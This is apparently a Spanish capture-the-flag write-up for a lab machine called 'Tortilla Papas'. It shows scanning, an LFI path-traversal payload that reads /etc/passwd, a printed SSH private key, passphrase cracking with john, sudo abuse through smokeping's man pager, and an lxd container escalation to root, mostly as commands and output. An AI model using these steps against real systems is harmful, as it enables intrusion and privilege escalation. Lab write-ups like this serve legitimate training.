

TORTILLA PAPAS



CONECTIVIDAD

```
ping -c1 192.168.0.108
```

```
└─# ping -c1 192.168.0.108
PING 192.168.0.108 (192.168.0.108) 56(84) bytes of data.
64 bytes from 192.168.0.108: icmp_seq=1 ttl=64 time=1.62 ms

— 192.168.0.108 ping statistics —
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 1.620/1.620/1.620/0.000 ms
```

ESCANEO DE PUERTOS

```
nmap -p- -Pn -sVC --min-rate 5000 192.168.0.108 -T 3
```

```
# nmap -p- -Pn -sVCS --min-rate 5000 192.168.0.108 -T 2
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-10 11:25 EST
Nmap scan report for 192.168.0.108
Host is up (0.0013s latency).
Not shown: 39242 filtered tcp ports (no-response), 26291 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
|_ ssh-hostkey:
|_ 256 9c:e0:78:67:d7:63:23:da:f5:e3:8a:77:00:60:6e:76 (ECDSA)
|_ 256 4b:30:12:97:4b:5c:47:11:3c:aa:0b:68:0e:b2:01:1b (ED25519)
80/tcp    open  http      Apache httpd 2.4.57 ((Debian))
|_ http-title: Tortilla Papas
|_ http-server-header: Apache/2.4.57 (Debian)
MAC Address: 08:00:27:57:17:C0 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

PUERTOS ABIERTOS 22 Y 80



ENUMERACIÓN

Con gobuster vamos en búsqueda de archivos y directorios

```
gobuster dir -u http://tortillapapas.thl/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt -x php,txt,py,html

Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://tortillapapas.thl/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,txt,py,html
[+] Timeout: 10s

Starting gobuster in directory enumeration mode

/images (Status: 301) [Size: 323] [→ http://tortillapapas.thl/images/]
/.php (Status: 403) [Size: 282]
/.html (Status: 403) [Size: 282]
/index.html (Status: 200) [Size: 26594]
/css (Status: 301) [Size: 320] [→ http://tortillapapas.thl/css/]
/js (Status: 301) [Size: 319] [→ http://tortillapapas.thl/js/]
/javascript (Status: 301) [Size: 327] [→ http://tortillapapas.thl/javascript/]
/.html (Status: 403) [Size: 282]
/.php (Status: 403) [Size: 282]
/smokeping (Status: 301) [Size: 326] [→ http://tortillapapas.thl/smokeping/]
/server-status (Status: 403) [Size: 282]
/agua.php (Status: 200) [Size: 26594]
```

Tenemos un directorio interesante en **/agua.php**

Con wfuzz vamos en busca de parámetros para la posible LFI

```
wfuzz -c --hc=404 -u "http://tortillapapas.thl/agua.php?FUZZ=.....//.....//etc/passwd" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt --hw=1556
```

```
~$ wfuzz -c --hc=404 -u "http://tortillapapas.thl/agua.php?FUZZ=.....//.....//etc/passwd" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt --hw=1556
*****
* Wfuzz 3.1.0 - The Web Fuzzer
*****

Target: http://tortillapapas.thl/agua.php?FUZZ=.....//.....//etc/passwd
Total requests: 1273832



| ID         | Response | Lines | Word   | Chars    | Payload |
|------------|----------|-------|--------|----------|---------|
| 000000758: | 200      | 507 L | 1588 W | 27943 Ch | "file"  |


```

Ahora, vamos a probar diferentes cadenas de path traversal en el parámetro **file**

```
wfuzz -c --hc=404 -u "http://tortillapapas.thl/agua.php?file=FUZZ" -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt --hw=1556
```

```
~$ wfuzz -c --hc=404 -u "http://tortillapapas.thl/agua.php?file=FUZZ" -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt --hw=1556
*****
* Wfuzz 3.1.0 - The Web Fuzzer
*****

Target: http://tortillapapas.thl/agua.php?file=FUZZ
Total requests: 929



| ID         | Response | Lines | Word   | Chars    | Payload                    |
|------------|----------|-------|--------|----------|----------------------------|
| 000000335: | 200      | 507 L | 1588 W | 27943 Ch | ".....//.....//etc/passwd" |
| 000000338: | 200      | 507 L | 1588 W | 27943 Ch | ".....//etc/passwd"        |
| 000000341: | 200      | 507 L | 1588 W | 27943 Ch | ".....//etc/passwd"        |
| 000000344: | 200      | 507 L | 1588 W | 27943 Ch | ".....//etc/passwd"        |
| 000000347: | 200      | 507 L | 1588 W | 27943 Ch | ".....//etc/passwd"        |
| 000000350: | 200      | 507 L | 1588 W | 27943 Ch | ".....//etc/passwd"        |
| 000000353: | 200      | 507 L | 1588 W | 27943 Ch | ".....//etc/passwd"        |


Total time: 20.32375
```

Con el parámetro **file** y con la cadena **".....//.....//etc/passwd"**

nos vamos al navegador y contemplamos la **LFI**, pudiendo extraer dos usuarios, **concebolla** y **sincebolla**.


```
← → ↺ 🏠 view-source:http://tortillapapas.thl/agua.php?file=...//...//...//etc/passwd

Kali Linux 🐼 Kali Tools 📄 Kali Docs 🌐 Kali Forums 🔍 Kali NetHunter 🔥 Exploit-DB 🔍 Google Hacking DB 🛡️ OffSec 📝 Optimum write-up

475 <script src="js/plugin.js"></script>
476 <!-- sidebar -->
477 <script src="js/jquery.mCustomScrollbar.concat.min.js"></script>
478 <script src="js/custom.js"></script>
479 </body>
480 </html>
481 root:x:0:0:root:/root:/bin/bash
482 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
483 bin:x:2:2:bin:/bin:/usr/sbin/nologin
484 sys:x:3:3:sys:/dev:/usr/sbin/nologin
485 sync:x:4:65534:sync:/bin:/bin/sync
486 games:x:5:60:games:/usr/games:/usr/sbin/nologin
487 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
488 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
489 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
490 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
491 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
492 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
493 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
494 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
495 list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
496 irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
497 _apt:x:42:65534::/nonexistent:/usr/sbin/nologin
498 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
499 systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
500 concebolla:x:1000:1000:concebolla,,,:/home/concebolla:/bin/bash
501 messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
502 sshd:x:101:65534::/run/ssh:/usr/sbin/nologin
503 sincebolla:x:1001:1001,,,:/home/sincebolla:/bin/bash
504 _lxd:x:102:1002::/var/lib/lxd:/bin/false
505 dnsmasq:x:103:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
506 Debian-exim:x:104:110::/var/spool/exim4:/usr/sbin/nologin
507 smokeping:x:105:111:SmokePing daemon,,,:/var/lib/smokeping:/usr/sbin/nologin
508
```

Aunque la ruta común de la clave `id_rsa` está en `/home/usuario/.ssh/id_rsa` en esta ocasión la encontramos en `/opt/id_rsa`.

```
-----BEGIN OPENSSH PRIVATE KEY-----
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
rbxo5ujDvS0IlghwtMbgTzTrZMbw=
-----END OPENSSH PRIVATE KEY-----
```

EXPLOTACIÓN

La guardamos en local y con **ssh2john** extraemos el hash de la clave privada

ssh2john id_rsa > hash.txt

Y con john sacamos la contraseña

john --wordlist=rockyou_5000.txt hash.txt

(previamente he extraído las 5000 primeras entradas del rockyou)

```
# john --wordlist=rockyou_5000.txt hash.txt

Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:24:53 52.78% (ETA: 08:15:52) 0g/s 1.778p/s 1.778c/s 1.778C/s girlie..married
honda1 (id_rsa)
1g 0:00:32:35 DONE (2024-12-12 08:01) 0.000511g/s 1.816p/s 1.816c/s 1.816C/s indiana..01234
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Nos conectamos por SSH con el user sincebolla y la passphrase honda1

```
# ssh -i id_rsa sincebolla@tortillapapas.thl
Enter passphrase for key 'id_rsa':
Linux tortillapapas 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Apr 18 12:40:58 2024 from 192.168.0.104
sincebolla@tortillapapas:~$
```

ESCALADA DE PRIVILEGIOS

Buscamos permisos sudo

```
sincebolla@tortillapapas:~$ sudo -l
Matching Defaults entries for sincebolla on tortillapapas:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User sincebolla may run the following commands on tortillapapas:
    (concebolla) NOPASSWD: /usr/sbin/smokeping
sincebolla@tortillapapas:~$
```

Algunas herramientas como man y vim podrían permitirnos ejecutar comandos arbitrarios si tienen configuraciones específicas

En nuestro caso al ejecutar

```
sudo -u concebolla /usr/sbin/smokeping --man
```

y `!/bin/bash`, nos hacemos `concebolla`

```
sincebolla@tortillapapas:~$ sudo -u concebolla /usr/sbin/smokeping --man
```

You need to install the perl-doc package to use this program.

```
concebolla@tortillapapas:/home/sincebolla$ whoami
```

`concebolla`

```
concebolla@tortillapapas:/home/sincebolla$
```

Como sabemos que `concebolla` pertenece al grupo `lxd`

```
concebolla@tortillapapas:/opt$ id
```

uid=1000(concebolla) gid=1000(concebolla)

grupos=1000(concebolla),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),1002(`lxd`)

Y siguiendo las instrucciones de

<https://medium.com/@mstrbgn/privilege-escalation-using-lxd-lxc-group-assignment-to-a-user-a-security-misconfiguration-a4892f611d6f>

```
1- concebolla@tortillapapas:/tmp$ lxc storage create mypool dir
```

Storage pool mypool created

```
2- concebolla@tortillapapas:/tmp$ lxd init
```

```
3- concebolla@tortillapapas:/tmp$ lxc init ubuntu:16.04 test -c security.privileged=true
```

Creating test

```
4- concebolla@tortillapapas:/tmp$ lxc config device add test hack disk source=/
```

```
path=/mnt/root recursive=true
```

Device hack added to test

```
5- concebolla@tortillapapas:/tmp$ lxc start test
```

```
6- concebolla@tortillapapas:/tmp$ lxc exec test /bin/sh
```

```
# bash -p
```

```
root@test:~# whoami
```

```
root
```

```
root@test:~#
```

Como estamos dentro de un contenedor debemos acceder a

donde está montado

```
root@test:~# cd /mnt/root
```

```
root@test:/mnt/root# cd root
```

```
root@test:/mnt/root/root# ls
```

```
root.txt
```

```
concebolla@tortillapapas:/tmp$ lxc exec test /bin/sh
```

```
# bash -p
```

```
root@test:~# whoami
```

```
root
```

```
root@test:~#
```

👋 Buen día.